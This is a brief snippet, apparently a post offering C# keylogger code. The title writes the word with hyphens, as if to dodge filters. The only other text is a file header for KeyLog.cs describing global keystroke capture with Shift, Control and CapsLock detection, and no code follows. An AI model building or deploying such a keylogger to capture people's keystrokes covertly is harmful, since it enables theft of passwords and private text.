code k--e--yl--og--ger for c#

* Name: KeyLog.cs
 * Version: 1.1
 * Date: 2009
 * Description:
 * Gets the key pressed by the user, whether the form has focus or not.
 * It can detect Shift/Control/CapsLock, which means it can detect upper/lower case.
 * However this version does not detect special characters or the Alt key (still to do).
